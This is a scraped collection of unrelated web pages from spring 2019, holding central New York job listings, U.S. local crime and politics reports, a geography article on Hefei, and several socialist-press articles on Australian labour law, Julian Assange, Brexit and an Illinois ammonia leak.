Job Title: Cook City New Hartford, NY Immediate need. Full or part-time position for a Mexican restaurant in New Hartford. Responsible for line work, saute, frying and performing other duties as necessary. Hours are in a 10:00am to 11:00pm time frame; days can vary. High School diploma or GED required. Employer will train an individual with the right attitude. Pay will range based on qualifications. Pay: $12-15/hr Job Order # NY1297276 ___________________________________________________________________________________ Monday April 29, 2019 Job Title: CDL A Drivers City Mohawk, NY Full and Part time positions available. Flexible scheduling allowing generous home time for work/life balance. Excellent pay. Coast to Coast, Midwestern, Southern and Northern routes available. CDL A driver's license required. Experience preferred, however willing to train the right people. Pay: not specified Job Order # NY1300420 ____________________________________________________________________________________ Tuesday April 30, 2019 Job Title: Seasonal Job Fair City Rome, NY Mohawk Valley Community College and the NYS Department of Labor will be hosting a Seasonal Job Fair on Wednesday, May 1st from 10am-12pm at the MVCC Rome Campus location, 1101 Floyd Ave. There will be available openings in Manufacturing, Human Services, Transportation, Gaming/Hospitality, Construction, Landscaping, Maintenance, Food Service and Direct Care. Businesses will be onsite accepting resumes. If you have any questions, contact Ryan LeoGrande at 315-793-5306. Pay: varies Job Order # NY1300525 _________________________________________________________________________ Tuesday April 30, 2019 Job Title: Customer Service Representative City Mohawk, NY Summary: Assists customers mostly by phone and sometimes in person and receives orders from customers for their delivery of office supplies, etc. Gives customers product availability and delivery information. Is responsible for receipt of orders via fax, online ordering system & mail. Must enter all orders into a computer (order entry) from all departments. Maintains customer records and is responsible for checking inventory. Solicits sales and/or inquiries of new merchandise. Pay: not specified Job Order # NY1300061 _________________________________________________________________________ Wednesday May 1, 2019 Job Title: Driver City Canastota, NY This position involves the responsibility for the safe and economical operation and care of a light duty motor vehicle for the Nutrition Program for the elderly. Specific duties include but are not limited to the following; receive work orders from the SNACK Director, load and transport food and supplies from the central kitchen to the congregate sites and to the homes of older adults and review orders prior to leaving the facility and observe proper food handling procedures. Pay: not specified Job Order # NY1300371 ___________________________________________________________________________________ Wednesday May 1, 2019 Job Title: Teller City Oneida, NY Summary: provide excellent customer service in the handling of financial transactions such as check cashing, deposits, withdrawals and loan payments. The successful candidate will have a positive attitude, excellent communication skills, and a strong work ethic to work in a professional environment. References, must be bondable. Minimum High School diploma. Related customer service experience is a plus Pay: $11.10/hr Job Order # NY1299841 ____________________________________________________________________________________ Thursday May 2, 2019 Job Title: Day Habilitation Workers City Bouckville, NY Seeking people to provide Day Habilitation on a part time basis. We offer unique opportunities, utilizing working farm resources and those offered by the community to provide fun and educational activities to enrich the loves of those we serve. Day Habilitation candidates must be willing to work 26 hours per week; Monday thru Friday, 10am-3pm. Pay: $11.60/hr Job Order # NY1297565 ____________________________________________________________________________________ Thursday May 2, 2019 Job Title: Chef/Line Cook City New York Mills, NY Summary: Chef/Line Cook. Position can be full or part time depending on candidate's availability. High School Diploma or the equivalent, and 2 years cooking experience required. Reference check and drug test. Normal workdays are Wednesday - Saturday. Pay is negotiable. Paid vacation. Also looking to hire Servers. Pay: negotiable Job Order # NY1300036 ____________________________________________________________________________________ Friday May 3, 2019 Job Title: Secretary to the Director of IT City Utica, NY Required to perform highly complex clerical duties in an independent capacity without close supervision. This is a position of special trust and confidence requiring the frequent exchange of sensitive information arising out of the office and administration of the Director of Information Technology. Performs related work as required and may involve direct supervision of a small staff of clerical personnel. Pay: $30,599/year Job Order # NY1300121 ____________________________________________________________________________________ Friday May 3, 2019 Job Title: Home Companion Recruitment City Herkimer, NY Home Companion positions are available at various locations in Herkimer County. Requirements include a high school diploma/equivalent and a valid drivers license. A representative will be recruiting onsite at the Herkimer Working Solutions, 303 N. Prospect St. Herkimer on Tuesday, May 7 from 10am-12pm accepting applications and conducting on the sop interviews. Pay: not specified Job Order # NY1300567 ____________________________________________________________________________________ For more information, contact your local Working Solutions one-stop office, or head to their website. Herkimer County: (315) 867-1400 | Madison County: (315) 363-2400 | Oneida County-Utica: (315) 793-2229 | Oneida County-Rome: (315) 356-0662 A Rome couple is charged with criminally negligent homicide in the death last August of their six-month-old daughter. Rome Police say Elaina Dyer died on or about August 28th, in her mother's apartment, at 111 W. Embargo Street, in Rome. Twenty-nine-year-old Brooke Renzi and 26-year-old Derek Dyer are charged with criminally negligent homicide. "What the allegation of criminal negligence means, is, there was a risk that was not perceived by the actor, and as a result of that risk, there was a death," explains Oneida County First Assistant District Attorney, Dawn Catera Lupi. Lupi declined to elaborate on what it is the child's parents are accused of doing, or not doing. Rome Police say the couple failed to check on their daughter for 12 hours, and called 911 when they found her unconscious. Lupi says the couple turned themselve in to authorities on Thursday, and each posted $5000 bond after their arraignment, Friday morning, and are currently not in jail. As for the eight-month gap between the child's death and her parents being charged, Lupi says it takes time to build a solid case. "There's an investigation that goes on that's sometimes lengthy, and obviously there were a lot of reports and information that we needed to review and just scheduling." Renzi and Dyer's next court appearance is May 20th. UTICA, N.Y. -- If you're still making your Friday night plans -- look no further than a trip to 1933. That's when prohibition ended. The Mohawk Valley Health System is celebrating at the FX Matt Brewery Friday night. The party is a fundraiser used to help the hospitals provide the best care for their patients. This is their 11th year for the party, and around 400 people are expected to attend the event, which also features a silent auction. You come in here, people will be dressed up like the 20s, the roaring 20s. Some women in flapper dresses, and you come in, it's definitely a celebration. It's a fun environment. I think we have four or five bands here, great food, so lots of great music and dancing, and of course some great Saranac Beer, said John Forbes, the VP of philanthropy at MVHS. If you are interested in going there are tickets available at the door. The price is $50 a ticket, and doors open at 6 p.m. Unfortunately, our website is currently unavailable in your country. We are engaged on the issue and committed to looking at options that support our full range of digital offerings to your market. We continue to identify technical compliance solutions that will provide all readers with our award-winning journalism. At least four people died when the driver of a semi plowed into stopped traffic along Interstate 70 near Denver, and that driver is being held on four counts of vehicular homicide, police said Friday. The runaway semi hit several cars and trucks in Lakewood on Thursday, igniting a fiery crash. Twenty-eight vehicles were involved in the pileup: four of them semis and 24 cars, Lakewood Police Department Agent Ty Countryman told reporters. Countryman said the driver of the semi is Rogel Lazaro Aguilera-Mederos, 23. He has a commercial driver's license out of Texas, Countryman said. Aguilera-Mederos is cooperating with investigators, he added. Aguilera-Mederos was behind the wheel of a flatbed truck loaded with lumber and was injured in the crash, but not seriously hurt, Countryman said. According to the Jefferson County Sheriff's inmate roster, his next scheduled court appearance is listed as Saturday at 3 p.m. ET in Jefferson County court. The suspect's brother, Daniel Aguilera, said Rogel is Cuban and is a permanent resident of the United States. Also a truck driver, Aguilera said he spoke to his brother after the crash and Rogel told him his brakes failed. Countryman said there's no evidence of drugs or alcohol in the crash. When asked whether there were any mechanical issues with the truck, Countryman said it is something his department is looking into, but he believes even if there were a mechanical issue, vehicular manslaughter charges would still stick. The semi hit cars stuck in a jam due to evening rush hour and a prior crash farther ahead, Countryman said. At least six people were hospitalized with injuries after the crash, according to the Lakewood Police Department. "We do know that I-70 eastbound traffic was at a standstill or close to a standstill because of a crash way out ahead of it," he said at a news conference. "The semi was eastbound and ended up colliding with the ... cars that were stopped because of the accident ahead. That's all we know or we are releasing at this point." 'Startled and in shock' Josh McCutcheon, who caught the crash on video, told CNN sister networki HLN he had never seen such devastation. He's doing fine now, he said, but he was "startled and in shock" when he saw the deadly pileup, the explosions and the plumes of smoke. "Oh, my God," he shouted when it happened. McCutcheon praised a "good Samaritan" for pulling people out of cars. "That's a true hero," he said of the man, who had been panhandling in the area. Video from the scene showed towering orange flames and piles of lumber scattered across the highway. By Thursday night, the area was littered with smoldering ruins. Darin Barton was panhandling near the scene when the crash happened. He told CNN affiliate KDVR that when the cab of the truck rolled over and flames ignited, he quickly dropped the sign he was holding and ran toward the cars. "It just caught on fire. And I just dropped my sign, took off running," Barton said. "As soon as I [saw] flames, I headed under the bridge, grabbed three or four people out of a couple cars." The fire was extinguished, but glowing embers and hot spots prevented investigators from immediately getting to the crashed vehicles. Investigators are working to match who was in each car, police said. It's unclear what made the vehicles ignite, Countryman said, adding that he does not know what was in the semis other than the one that appeared to be carrying lumber. "This is looking to be one of the worst accidents we've had here in Lakewood," he said. The Denver West Parkway bridge over I-70 sustained significant structural damage from the fire, authorities said. The portion of I-70 affected by the crash is closed overnight in both directions. Lakewood is about 10 miles from Denver. LAFAYETTE, Ind. (WLFI) - Important funding that goes to the City of Lafayette from the County Income Tax, or COIT, is safe for now. As News 18 previously reported, part of a tax budget bill would have made changes to the COIT formula. This money goes into a general fund, which the city then uses to heavily fund its police and fire departments. The city would have lost hundreds of thousands of dollars because of the formula change. However, the specific language that would have impacted Lafayette was not voted on as part of the whole bill, thanks to the work of local legislators. Lafayette Mayor Tony Roswarski said that portion of the bill will now go to summer study. "It's not totally over yet, but at least mayors are going to have the chance to have input because there were a lot of winners and losers throughout Indiana," he said, Lafayette getting the 'loser' end of the stick. This whole issue first came to the attention of the city last week because of State Senator Ron Alting. He said had to work fast to address this bill language before the legislative session ended on Wednesday. Mayor Roswarski said he will be keeping an eye on the summer study, making sure Lafayette's interests and concerns are known. "Our city will be very engaged," he said. "We will be watching it closely, having conversations with Senator Alting, Representatives Klinker and Campbell and the different folks who have a part of Tippecanoe County," he said. LEBANON, Ind. (WISH) -- The man accused of shooting and killing a Boone County deputy will change his plea in the case to guilty, the Boone County Prosecutor's Office said Friday. Anthony Baumgardt was officially charged with the murder of Deputy Jacob Pickett in March of 2018. Baumgardt is believed to be the person who fired the fatal shot at Pickett while he was assisting Lebanon Police Department with a vehicle pursuit. Pickett chased the suspects after they bailed from the vehicle and was shot in the head by Baumgardt, according to officials. Baumgardt's sentencing has been set for May 29 at 9:00 a.m. "Since Baumgardt has not pled guilty and has not been sentenced, Prosecutor Eastwood cannot make any further comment on this development," the Boone County Prosecutor's Office said in a statement released to media. "Upon completion of the sentencing hearing, Prosecutor Eastwood will make a statement." While being interviewed by investigators, Baumgardt said that he "shot a cop" because "they were going to take me to jail." It was later confirmed that Baumgardt had an active warrant for his arrest that was issued on Feb. 22. JASPER COUNTY, Ind. (WLFI) - Rensselaer is one of the cities impacted by the loss of the Hoosier State Rail Line. The train line stopped in the city. As News 18 previously reported, Governor Eric Holcomb did not include funding for the Amtrak line in the original state budget. It was not put back in, even after numerous attempts by local legislators. The state has contributed $3 million annually to support the rail line that used to run directly between Indianapolis and Chicago. Amtrak recently funded a brand new train station for the city. Rensselaer Mayor Stephen Wood said there are people in his city who ride that train regularly, and are upset by the loss of the line. "Naturally we are disappointed, I'm not really upset but I am very disappointed it didn't get funded through the legislature," he said. "I just don't think they gave it a chance." Mayor Wood said he sees the benefits of alternative transportation. "Eventually they are going to have to have some good public transportation infrastructure sometime in this country, because we keep building more and more roads and keep adding and adding to our roads," he said. Mayor Wood said he worked with other mayors in the area, such as Lafayette Mayor Tony Roswarski and West Lafayette Mayor John Dennis on how to get it put back into the state budget. He hopes funding for the line can be put back in the state budget in the future, but said once these things come out of the budget, it can be very hard to get them back in. The state budget was passed by the legislature on Wednesday. DAYTON, Ohio (WLFI) Andrew Alcorns, a man considered a person of interest in a Lafayette homicide and arson, has been released from the hospital and is now in an Ohio jail, according to Montgomery County (Ohio) jail records. Alcorns was booked Wednesday afternoon on a warrant out of Madison and Tippecanoe Counties. Court documents show he was wanted on several preliminary charges in Madison County, including fleeing from law enforcement. Alcorns had been in the hospital after police said he shot himself in the head to end a 9-hour SWAT standoff in Dayton, Ohio April 11. 4/24/2019 Mugshot of Andrew Alcorns. Provided by Montgomery County Jail (Ohio) 4/24/2019 Mugshot of Andrew Alcorns. Provided by Montgomery County Jail (Ohio) According to Sgt. Matt Gard with Lafayette police, Alcorns' status has not changed in the case. He is still a person of interest in all parts of the Lafayette homicide, including the arson and stabbing. Alcorns is a person of interest in the April 7 killing of Ronald Whiles. Thomas Day, a man who police said lived with Whiles, called officers and told them he had been stabbed and his S. 31st Street home was on fire that Sunday morning. Firefighters found Whiles' body burning inside the home when they arrived. Preliminary results of his autopsy revealed Whiles died from multiple gunshot wounds, according to Tippecanoe County Coroner Donna Avolt. Day was initially listed as critical, but he is expected to survive, according to Gard. The investigation then led LPD to Dayton, Ohio. Alcorns was taken to the hospital after he shot himself in the head in the SWAT situation. Alcorns' criminal history in Tippecanoe County dates back to 1996, according to court documents. Since 1996, Alcorns has had more than 25 felony or misdemeanor charges in Tippecanoe and Clinton Counties, according to court documents. Those include Domestic Battery Resulting in Bodily Injury, Auto Theft and Possession of Marijuana. Court documents show Alcorns has recently lived on North 18th Street in Lafayette and North Kerlin Avenue in Delphi. The Anhui Province of China is located in the countrys eastern region. With an area of 140,200 square km and a population of around 62,000,000 individuals, Anhui is Chinas 22nd largest province by area and 8th largest by population. The provincial government of the country is tasked with the management of the provinces 62 counties, 43 districts, 16 cities, and 1,522 townships. Which City Is The Capital Of Anhui And Where Is It Located? Hefei is Anhuis capital city. It is also the largest city in the province. Hefei is located centrally in Anhui. The Chao Lake, one of the countrys biggest freshwater lakes, is only 15 km southeast of Hefei. The city occupies a total area of 11,434.25 square km. It experiences a humid subtropical climate. Demographics Of Hefei Hefei is home to around 7,869,000 individuals and has a population density of 690 persons per square km. The majority of residents of this city are Han Chinese. A small community of Hui Chinese and migrant workers from other parts of Anhui also live in the city. How Did Hefei Become Anheis Capital? Hefei has a long history dating back to the 8th to 6th century BC when many small states were set up in and around the area that is now the modern city of Hefei. The name Hefei was first used to designate a county set up in the area in the 2nd century BC by the Han dynasty. In the centuries that followed, Hefei witnessed many invasions by powerful dynasties and it was captured and ruled over by many such dynasties. Decisive battles were fought in the area several times in its history. Hefei served as a temporary capital of Anhui from 1853 to 1862. Later, Anqing became the capital of Anhui. Hefei was declared as the capital of the province again in 1945 after China won the Second Sino-Japanese War. The Economy Of Anheis Capital City Prior to the Chinese civil war, the economy of Hefei was mainly dependent on agriculture. However, after Hefei became Anheis capital in 1945, efforts were made to strengthen the economy of the city. Experts and skilled workers from different parts of China were encouraged to migrate to the city and assist in its development. Soon, industries started emerging in Hefei. Today, the city has well-established industries like electronics, steel, textile, cigarette, among others. In 2005, a major drive to beautify the city witnessed the demolition of numerous illegally built structures including roadside marketplaces in Hefei. This resulted in sudden unemployment of hundreds to thousands of the citys residents. Today, Hefei is a fast-growing city and is regarded as one of the countrys top 20 emerging cities. In 2012, The Economist labeled Hefei as the fastest growing metropolitan economy in the world. Process servers last week presented notices of legal action to several workers at their homes over industrial action on Perth Airport rail project sites last December, deemed illegal by the Australian Building and Construction Commission (ABCC), the federal governments industry attack dog. In all, 44 workers on the Perth projects, now face individual fines of up to $42,000 for walking off the job to attend Change the Rules rallies called by Australian Council of Trade Unions (ACTU). The ABCC is also seeking penalties against the Construction Forestry Maritime Mining and Energy Union (CFMMEU) and three of its officials over the same stoppage. The ABCCs offensive against construction workers has intensified in the lead up to the May 18 federal election. Earlier this month, the agency initiated legal action against 53 Australian Workers Union (AWU) members at Melbournes Liberty OneSteel plant who had stopped work to join ACTU rallies in October. The agency also has reportedly written to workers employed at the Sky City Construction project in Adelaide, seeking to interrogate them about participating in union rallies. Even though the ABCC is supposedly specific to the construction industry, it insists it can punish the Liberty OneSteel workers because the company supplies materials to the building industry. This rationale could be used to target workers across a range of industries. The ABCC was first introduced by the Howard Liberal-National Coalition government in 2005, armed with far-reaching punitive powers to interrogate, harass and penalise workers to prevent them taking industrial action in defence of jobs, working conditions and basic rights. In 2012, the Gillard Labor government replaced the ABCC with the Fair Work Building and Construction (FWBC), with similar repressive powers. The ABCC was then re-established by the current Coalition administration in 2016 and given the power to pursue fines against construction workers that are three times the previous maximum $12,600 penalty. The ABCCs vendetta is enforcing the draconian anti-strike provisions of the Fair Work Act, which was introduced in 2009 by the last Labor government, with the full support of all the trade unions. These laws make illegal all industrial action other than during narrow bargaining periods for a new union-negotiated enterprise agreements. Even to take protected action, workers must go through a lengthy process, including secret ballots, to obtain permission from the Fair Work Commission (FWC). Moreover, the FWC can block or terminate protected action if it would cause economic harm to the employer, cause significant harm to a third party, endanger safety and welfare or cause significant damage to the Australian economy or part of it. An AWU official told the Liberty One Steel workers that ACTU secretary Sally McManus had pledged that the peak union body would take action against companies that prevented their staff from attending the Change the Rules rally. Not surprisingly, no such action has emerged. The past record shows that the ACTU has no intention of mounting any campaign in defence of the victimised workers. The unions have enforced the Fair Work laws since their inception. Any action will be restricted to legal pleading in the Federal Court. If this is unsuccessful, the issue will be dropped and eventually swept under the carpet. The prosecutions under the Fair Work Act underscore the fraud of the Change the Rules campaign. The ACTU has tried to argue that Fair Work rules were fair and balanced when first introduced, but have since been broken under the Coalition. In reality, the laws are working as they were always intended, as a means of intimidating and straightjacketing the working class. The laws primarily served as a mechanism for the unions to maintain control over workers while they brokered sell-out deals with employers, and prevent any widespread opposition to the mounting corporate attacks that would cut across the unions intimate working relations with big business. The real purpose of the Change the Rules campaign is to divert the seething discontent of workers over falling real wages and the destruction of jobs and working conditions behind the election of yet another pro-business Labor government that will work closely with the unions. If elected, Labor would keep intact the repressive industrial relations regime. The ABCC would be replaced by yet another anti-working class construction watchdog like Labors FWBC. Labor may introduce legislation to allow some industry-wide bargaining, but only to shore up the position of the increasingly discredited and shrinking unions as industrial police forces. The decades-long complicity of Labor and the unions in imposing the dictates of the corporate establishment demonstrates the urgent need for the construction of new independent organisations of struggle, such as rank-and-file committees, in every workplace and industry. These will work to mobilise a broad-based industrial and political counter offensive by the working class to defend working conditions and rights, including the unconditional defence of the steel and construction workers under attack by the ABCC. Above all, the fight must be for a workers government that will reorganise society on the basis of socialist policies to meet the needs of all and not the profits of the few. That is the struggle being advanced by the Socialist Equality Party in the federal election campaign. Authorised by James Cogan for the Socialist Equality Party, Suite 906, 185 Elizabeth Street, Sydney, NSW, 2000. The United Nations special rapporteur on the right to privacy, Joe Cannataci, was finally permitted yesterday to meet with Julian Assange inside Londons Belmarsh prison. The WikiLeaks journalist and publisher has been held virtually incommunicado, in denial of his fundamental legal and democratic rights, since the British police dragged him out of Ecuadors embassy more than two weeks ago. This has become a global battle for free speech and the right of the public to know the truth about the crimes being committed by governments and their state agencies around the world. Assange is being persecuted, and subjected to an unprecedented legal assault, for publishing millions of secret documents exposing political conspiracies and corporate crimes. Without this extraordinary record of authentic investigative journalism since 2006, this information would have remained suppressed. Confronted by worldwide protests and petitions against the illegal termination of Assanges political asylum and the immediate launching of proceedings to extradite Assange to the US, the British government felt compelled to grant the UN access. Cannataci became the first person allowed into Belmarsh prison to visit Assange, who has even been denied his right to speak to his family. For weeks, the UN has been investigating the blanket surveillance conducted by Ecuadors government against Assange inside its embassy. On April 10, WikiLeaks revealed that hundreds of thousands of documents, audio recordings, videos and photos were taken in the embassy. Assange was arrested the very next day, preventing a scheduled April 25 visit by Cannataci. Ecuadorian officials spied on every aspect of Assanges life for more than a year, including his medical consultations and confidential meetings with his lawyers. The obvious purpose of this illegal operation was to gather or concoct evidence that the Trump administration could use to indict and extradite Assange on manufactured conspiracy and espionage charges. Outside the prison yesterday, Cannataci told the Australian Broadcasting Corporation: There are strong indications that some elements of his privacy may have been breached. He added: The case is important because it concerns a very special set of circumstances where a person who is not formally under detention yet was subjected to surveillance. Having met with Assange for two hours, the UN special envoy reported that Assange was in fairly good shape and certainly very cogent in replying to our questions. This is another indication of Assanges defiant determination to fight his removal to the US, despite the damage done to his health by his seven-year confinement inside the Ecuadorian embassy. Interviewed by the Italian newspaper Repubblica, Cannataci pointed to the far-reaching nature of the spying. He said he was seeking access to the material currently held by the Spanish police, who are investigating an attempt to extort WikiLeaks for copies of the documents and videos. If and when my access is granted, that evidence might consist of thousands of hours of surveillance footage, which will take some time to watch. The UN rapporteur agreed with the Repubblica journalist, Stefania Maurizi, that the spying operation against Assange threatened an entire range of human rights, including lawyer-client confidentiality. [T]here are many dimensions to the case, including freedom of expression, including whistleblowing, protection of journalistic sources, he said. The UN is investigating whether Ecuador violated Assanges privacy under two cornerstones of international lawthe Universal Declaration of Human Rights and the International Covenant on Civil and Political Rightsby placing him under strict surveillance. Jennifer Robinson, a lawyer representing Assange, an Australian citizen, said in a statement that his legal team welcomed the UNs continued engagement in the case. It is a matter of grave concern that Ecuador expelled Mr Assange from the embassy before the scheduled UN visit could take place, she said. Robinson said the legal team had also requested a visit to Assange by the UN special rapporteur on torture. She recalled that the UN Working Group on Arbitrary Detention had ruled in late 2015 that Assange was arbitrarily detained, as a result of having to remain in the embassy to protect himself from US extradition, and called for his release. Chelsea Manning, the courageous whistleblower who leaked the infamous Collateral Murder video and many thousands of incriminating US diplomatic cables to WikiLeaks, has been held in solitary confinement for over six weeks because she has refused to give perjured testimony against Assange before a Grand Jury. Her continued detention is a transparent attempt to force her to cooperate in the US-led vendetta against Assange. If Assange is dispatched to the US on bogus computer hacking charges, he will soon face additional charges, carrying a maximum sentence of life imprisonment or the death penalty. This would set an international precedent for the jailing of journalists everywhere who expose government crimes and wrongdoing. Since Assanges arrest, numerous corporate publications have lined up directly behind this offensive. They have brazenly used Ecuadors video footage and other illegal surveillance material to repeat the personal smears against Assange fabricated by the corrupt Ecuadorian regime to justify its termination of his political asylum. These lies and slanders against Assange are in contrast to the immense support that he enjoys among the millions of workers, students and young people internationally who regard him and Manning as heroes. The mass opposition to Assanges persecution must be transformed into a political movement to prevent his extradition and secure his freedom. The WSWS and the Socialist Equality Parties (SEP) around the world are playing a central role in this decisive fight. Over the past 18 months, the SEP (Australia) has held a series of rallies, demanding that the Australian government immediately fulfil its obligations to Assange, as an Australian citizen, by securing his return to Australia, with a guarantee against extradition to the US. Another rally, aimed at placing this demand at the centre of the May 18 Australian federal election, will be held in Sydney this Saturday, followed by meetings in a number of cities. The SEP in the UK has taken part in protests and vigils calling for an all-out mobilisation against the moves to extradite Assange. It will participate in a London public meeting, called by the Julian Assange Defence Committee, today. This crucial struggle is entirely bound up with the fight for genuine socialism. As the all-out assault on Assange and Manning by governments and the corporate media conglomerates demonstrates, securing fundamental democratic rights requires nothing less than the worldwide transformation of society by the working class to meet social needs, not the profit interests of the financial aristocracy. This internationalist and socialist perspective animates the 2019 International Online May Day Rally, organised by the International Committee of the Fourth International and the World Socialist Web Site. We urge our readers to register today. The author also recommends: WikiLeaks exposes spying operation against Assange in Ecuadors London embassy [11 April 2019] Authorised by James Cogan for the Socialist Equality Party, Suite 906, 185 Elizabeth Street, Sydney, NSW, 2000. UK Prime Minister Theresa May has headed off a potential leadership challenge once again but faces demands from Conservative backbench MPs that she set a date for her departure. Mays premiership has been one of escalating crisis since she took office after the resignation of former prime minister David Cameron, who called the June 2016 referendum on EU membership. Cameron, who backed Remain, stood down following the victory of the Leave campaign. May, a Remainer, was charged with implementing Brexit while keeping her deeply divided party together. The effort to do so becomes more herculean with each passing day. May has already pledged that she would depart as Tory leader and prime minister once Parliament passed the withdrawal deal she agreed with the European Union (EU) last Decemberwhich she has failed to do on three occasions. Parliament resumed from its spring recess Tuesday, with pro-Brexit MPs ratcheting up demands that she go and give way to a firmly anti-EU leadership challenger ready to at least threaten a no-deal exit. On Tuesday and Wednesday the executive of the 1922 Committee, the influential Tory backbench group, met to discuss demands by MPs that the partys rules are changed to remove the 12-month period of grace during which a second confidence vote in a party leader cannot be held. Some MPs wanted this changed to six months, allowing another confidence vote in May to be held in June. In December, 117 Tory MPs voted without success to remove May. However, the 1922 Committee did not agree to the rule change. Even so, further pressure was exerted on May, with 1922 chairman Sir Graham Brady stating Wednesday that he would communicate to the Prime Minister our request for a clear timetable to be set for her departure whether her Brexit deal is passed or not. Asked by the media if May was free to tell MPs that she now intends to stay on until December, Brady responded, I think that would be a surprising response. May staggers on because her departure is dreaded by the pro-Remain faction of her party and the calculation by enough pro-Brexit MPs that her departure risks precipitating a general election which the Tories would lose to Labour under Jeremy Corbyn. The 1922 vote and statements to the media by senior party figures reveal that only the most hard-core pro-Brexit MPs are prepared to contemplate anything other than a managed leadership transition, possibly scheduled around autumns Tory party conference, coinciding with the EUs latest deadline for the UK Parliament to pass her deal. In an article headlined, Conservative grandees warn Theresa May her time is almost up, the Financial Times cited a Leave supporting minister who warned that removing May at this stage could precipitate a Labour general election victory. Mays most likely replacement would be Boris Johnson, the minister said, who would seek to renegotiate Brexit with Brussels but would be forced to accept defeat. This would see Johnson forced to hold a general election to secure a mandate for a no-deal Brexit. I wouldnt be comfortable with that. These things sound like a good idea until you end up confronting the voters with it, he said. A 1922 executive member told The Sun, Colleagues have been consulted widely, and theyre just not ready for Boris. Getting rid of Theresa before Brexit is done means getting Boris, Boris would mean no deal, and no deal would mean a general election. And that would be the end of Brexit altogether. May nevertheless faces a further challenge coming from the partys lower ranks, with a no-confidence vote on her likely to be carried at a National Conservative Convention emergency general meeting (EGM) in the next few weeks. So unpopular is May that over 70 local conservative association leaders (65 are required) voted for a petition stating, We no longer feel that Mrs. May is the right person to continue as prime minister to lead us forward in the [Brexit] negotiations. We therefore ask that she considers her position and resigns, to allow the Conservative Party to choose another leader, and the country to move forward and negotiate our exit from the EU. While any vote taken at the EGM is non-binding, a demand for another no-confidence vote will heap further pressure on May. This pressure appears to have convinced May to abandon plans to put her EU deal before Parliament next week. Meanwhile the government is continuing talks with the opposition Labour Party, supposedly to reach a solution to the Brexit impasse, despite demands from the Brexiteers that they are called off. The talks are clearly being conducted by May in bad faith. They began over three weeks ago, with no substantial shift by the government let alone signs of an agreement being reached. This week no talks have been held directly between May and Labour leader Corbyn. Yet the most significant example of bad faith comes from Corbyn. May is seeking to cover her exposed political rear, while Corbyn is providing the necessary fig leafand betraying all those workers and youth who looked to him to wage a struggle against the Tories. For Corbyns faction, the political function of these talks is to side-line a discussion on the political crisis facing the government that could precipitate a general election. He has dropped all talk of a general election and forcing the downfall of a government that he acknowledges is collapsing because his own partys MPs are opposed to the downfall of the Tories and want a second EU referendum instead. The rotten clique of pro-austerity warmongers would rather see the Labour Party destroyed than for it to win a general election under conditions where Corbyn would have to fend off demands for him to honour his pledges to end austerity, militarism and war. The crisis of rule in the UK will be exacerbated if May is unable to pass her deal and European Elections go ahead in the UK next month. Recent polls show that the newly-formed Brexit Party, headed by former UK Independence Party leader Nigel Farage, is set to win them at the expense of the Tories and Labour. Farage announced Thursday that the party would also contest seats in any future general election, stating, MPs will realise that if they carry on trying to stop Brexit, theyll lose their seats at the next General Election. The Brexit Party is being heavily promoted by nominally left former Labour MP George Galloway, who shares Farages nationalist agenda, with claims that he is forging a left-right alliance to secure Brexit. But his is an endorsement of an anti-working-class agenda of ending all regulations on big business and the financial parasites of the City of London, building closer alliances with the US and striking free trade deals with rising markets in China, India and elsewhere. Among its prospective MEPs [Members of European Parliament] are arch Tory reactionary Ann Widdecombe and Annunziata Rees-Mogg, the sister of Jacob Rees-Mogg, who leads the Tories hard-Brexit European Research Group. Other prominent backers following in Galloways wake are two former members of the now defunct Revolutionary Communist Party (RCP), Dr. Alka Sehgal Cuthbert and Claire Fox. The RCP gave birth to the libertarian Institute of Ideas, which is the moving force behind the website Spikednotorious for taking the position of the political right on every major issue, including its leading role in the persecution of WikiLeaks founder Julian Assange. A disaster unfolded in the northern Chicago suburb of Beach Park in Lake County, Illinois on Thursday morning when a cloud of toxic anhydrous ammonia leaked into the air. At approximately 4:25 a.m., authorities were called to respond to a possible vehicle fire near North Green Bay Road and 29th Street. When sheriff's deputies arrived at the scene they reported what appeared to be a cloud of smoke and were overcome by an airborne chemical. The chemical emitted from a semi-trailer tank was later confirmed to be anhydrous ammonia, a chemical most often used in fertilizer and as an industrial refrigerant according to the Centers for Disease Control. A semi-truck was towing two separate two-ton containers of the chemical which began to leak out onto the road, releasing plumes of toxic gas into the surrounding air creating a cloud of poison which was originally thought to be smoke, although no actual fire occurred. So far, 40 people have been hospitalized after inhaling the gas, including 11 firefighters. Seven victims remain in critical condition as of the time of this writing. A worker called 911 after driving through the gas cloud on her way to work and feeling as if she could not breathe. The spill prompted a Level 5 Hazmat emergency response, and area schools announced closures early in the day due to the spill. Authorities issued a warning at around 5 a.m. on Twitter to residents living in a one-mile radius to stay inside with the windows closed and shut all HVAC systems off. The shelter-in-place order was lifted at 10 a.m. and roads reopened at 11 a.m.. The number of hospitalizations reported by the media continued to rise throughout the day, from 30 to 37 to 40. ABC 7 News reported that residents woke in the morning to the smell of burning, indicating the potency of the toxic gas which was released. Some residents left the area with their families after smelling the gas. Those admitted to the hospital who remain in critical condition are being intubated. Patients who had inhaled the chemical were admitted with severe swelling of the vocal chords and upper airways and required mechanical ventilation. 27-year-old Javon Roy of Waukegan is one of those whose fate hangs in the balance as he remains in critical condition. His mother, Gloria Pruitt, is anxious for him to recover and told ABC 7, Hes a hard strong worker and I want my baby back. According to the New York State Department of Health, ammonia is an extremely toxic substance which can result in many serious health effects if inhaled: Ammonia is irritating and corrosive. Exposure to high concentrations of ammonia in air causes immediate burning of the nose, throat and respiratory tract. This can cause bronchiolar and alveolar edema, and airway destruction resulting in respiratory distress or failure. Inhalation of lower concentrations can cause coughing, and nose and throat irritation. While the driver of the vehicle involved in the spill itself is under investigation the name of the company in ownership of the tractor was not released, nor the reason or destination of the two tanks of ammonia. Lake County Sherrifs Sgt. Chris Covelli said, We are going to look and see if any laws were broken whether they be agricultural, traffic, criminal. A serious investigation into the possible responsibility of the companies involved in the transport of the chemicals or other conditions such as mechanical and road maintenance which could have caused dire emergencies such as the one in Beach Park is unlikely. In order to save money and reap the largest amount of profit possible from the means of production, the capitalist class cuts back on spending money on preventative maintenance and infrastructure. Several large and highly profitable corporations are headquartered in the area surrounding Beach Park, including Aon Hewitt, Abbott Labs, Solo Cup Company, and Swingline, a major manufacturer of office supplies. In contrast, a substantial number of residents work in low-wage and precarious jobs, and 7.7 percent of residents live in poverty. Like the California wildfires which tore across the northern part of the state last year, there is no good reason why a disaster of this scale should occur in one of the wealthiest countries in the world. There is plenty of money to alert residents of disasters such as this, but beyond that, enough money exists to provide infrastructure and maintenance to prevent them from happening in the first place, and to fund research and development into chemicals which are far less toxic and can be used for industrial purposes. However, national, state and local officials would rather give that money to corporations to increase private profits and provide funding for 